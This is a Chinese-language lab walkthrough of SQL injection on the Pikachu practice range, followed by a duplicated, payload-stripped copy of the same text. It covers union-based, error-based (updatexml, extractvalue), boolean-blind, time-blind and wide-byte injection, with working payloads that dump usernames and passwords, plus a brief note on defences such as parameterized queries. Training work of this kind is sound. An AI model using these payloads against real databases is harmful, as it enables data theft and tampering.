Pikachu靶场-SQL-Inject
字数 1110 2025-08-11 21:26:33

SQL注入漏洞全面解析与实战指南

1. SQL注入概述

SQL注入是OWASP Top 10中排名第一的漏洞类型,危害极大,可能导致:

  • 数据库信息泄露(被脱裤)
  • 数据被篡改或删除
  • 服务器权限沦陷

形成原因:前端传入后台的数据未经严格过滤,直接拼接到SQL语句中执行。

防御策略

  1. 对传入变量进行危险字符过滤
  2. 使用参数化查询(Parameterized Query/Statement)
  3. 谨慎使用ORM框架的拼接功能

2. 数字型注入(POST)

特征:参数为数字类型,无引号包裹

检测步骤

  1. 输入id=1'观察是否报错
  2. 判断字段数:id=1 order by n直到报错
  3. 确定回显点:id=1 union select 1,2,...

利用方法

-- 获取用户和数据库名
id=1 union select user(),database()

-- 获取所有表名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

-- 获取表字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

-- 获取数据
id=1 union select group_concat(username),group_concat(password) from users

3. 字符型注入(GET)

特征:参数用单引号包裹

检测步骤

  1. 输入name='观察是否报错
  2. 使用-- q闭合单引号
  3. 判断字段数:' order by n -- q

利用方法

-- 基本查询
' union select user(),database() -- q

-- 获取数据
' union select group_concat(username),group_concat(password) from users -- q

4. 搜索型注入

特征:用于搜索功能,通常有LIKE语句

检测步骤

  1. 输入'观察报错
  2. 判断字段数:' order by n -- q
  3. 通常比字符型多一个回显点

5. XX型注入

特征:闭合方式包含括号)

检测步骤

  1. 输入'观察报错信息是否包含)
  2. 使用)-- q闭合
  3. 后续步骤类似字符型注入

6. Insert/Update注入

特征:出现在插入或更新数据的场景

检测方法

  1. 在注册或修改信息处抓包
  2. 参数后加'观察是否报错

利用方法(报错注入)

-- 查询数据库名
username=' or updatexml(1,concat(0x7e,(select database())),1)or'

-- 分段获取表名(解决显示不全)
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'

-- 逐个读取表名
username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'

替代函数

-- 使用extractvalue
username=' and extractvalue(1,concat(0x7e,(select database())))and'

7. Delete注入

特征:出现在删除操作中,通常ID参数直接拼接

检测方法

  1. 输入id=58'观察是否报错
  2. 不需要闭合单引号

利用方法

-- 直接注入
/vul/sqli/sqli_del.php?id=59 or updatexml(1,concat(0x7e,(select database())),1)

8. HTTP Header注入

特征:User-Agent、Accept等头部字段带入SQL查询

检测方法

  1. 修改User-Agent为'观察是否报错
  2. 注入方式与Insert/Update类似

9. 布尔盲注

特征:只返回True/False,无详细报错

检测方法

  1. 输入lucy'返回False说明存在注入
  2. 使用条件判断获取信息

利用方法

-- 判断数据库长度
lucy' and length(database())>6-- q

-- 逐字符判断库名
lucy' and (substr(database(),1,1))='p'-- q

-- 判断表名
lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q

10. 时间盲注

特征:无回显,通过延时判断条件真假

检测方法

kobe' and sleep(3)-- q

利用方法

-- 判断数据库长度
kobe' and sleep(if((length(database())=7),0,3))-- q

-- 逐字符判断
kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q

11. 宽字节注入

特征:数据库使用GBK编码,转义符\可被绕过

原理%df%5c组成繁体字"連",吃掉转义符

利用方法

kobe%df' union select group_concat(username),group_concat(password) from users -- q

附录:常见Payload

  1. 基础信息获取
select user(),database(),version()
  1. 表信息获取
select group_concat(table_name) from information_schema.tables where table_schema=database()
  1. 列信息获取
select group_concat(column_name) from information_schema.columns where table_name='users'
  1. 数据获取
select group_concat(username),group_concat(password) from users
  1. 报错注入函数
updatexml(1,concat(0x7e,(select user()),0x7e),1)
extractvalue(1,concat(0x7e,(select user()),0x7e))
  1. 盲注技巧
-- 布尔盲注
and ascii(substr((select user()),1,1))>100

-- 时间盲注
and if(ascii(substr((select user()),1,1))>100,0,sleep(3))
SQL注入漏洞全面解析与实战指南 1. SQL注入概述 SQL注入是OWASP Top 10中排名第一的漏洞类型,危害极大,可能导致: 数据库信息泄露(被脱裤) 数据被篡改或删除 服务器权限沦陷 形成原因 :前端传入后台的数据未经严格过滤,直接拼接到SQL语句中执行。 防御策略 : 对传入变量进行危险字符过滤 使用参数化查询(Parameterized Query/Statement) 谨慎使用ORM框架的拼接功能 2. 数字型注入(POST) 特征 :参数为数字类型,无引号包裹 检测步骤 : 输入 id=1' 观察是否报错 判断字段数: id=1 order by n 直到报错 确定回显点: id=1 union select 1,2,... 利用方法 : 3. 字符型注入(GET) 特征 :参数用单引号包裹 检测步骤 : 输入 name=' 观察是否报错 使用 -- q 闭合单引号 判断字段数: ' order by n -- q 利用方法 : 4. 搜索型注入 特征 :用于搜索功能,通常有LIKE语句 检测步骤 : 输入 ' 观察报错 判断字段数: ' order by n -- q 通常比字符型多一个回显点 5. XX型注入 特征 :闭合方式包含括号 ) 检测步骤 : 输入 ' 观察报错信息是否包含 ) 使用 )-- q 闭合 后续步骤类似字符型注入 6. Insert/Update注入 特征 :出现在插入或更新数据的场景 检测方法 : 在注册或修改信息处抓包 参数后加 ' 观察是否报错 利用方法(报错注入) : 替代函数 : 7. Delete注入 特征 :出现在删除操作中,通常ID参数直接拼接 检测方法 : 输入 id=58' 观察是否报错 不需要闭合单引号 利用方法 : 8. HTTP Header注入 特征 :User-Agent、Accept等头部字段带入SQL查询 检测方法 : 修改User-Agent为 ' 观察是否报错 注入方式与Insert/Update类似 9. 布尔盲注 特征 :只返回True/False,无详细报错 检测方法 : 输入 lucy' 返回False说明存在注入 使用条件判断获取信息 利用方法 : 10. 时间盲注 特征 :无回显,通过延时判断条件真假 检测方法 : 利用方法 : 11. 宽字节注入 特征 :数据库使用GBK编码,转义符 \ 可被绕过 原理 : %df%5c 组成繁体字"連",吃掉转义符 利用方法 : 附录:常见Payload 基础信息获取 : 表信息获取 : 列信息获取 : 数据获取 : 报错注入函数 : 盲注技巧 :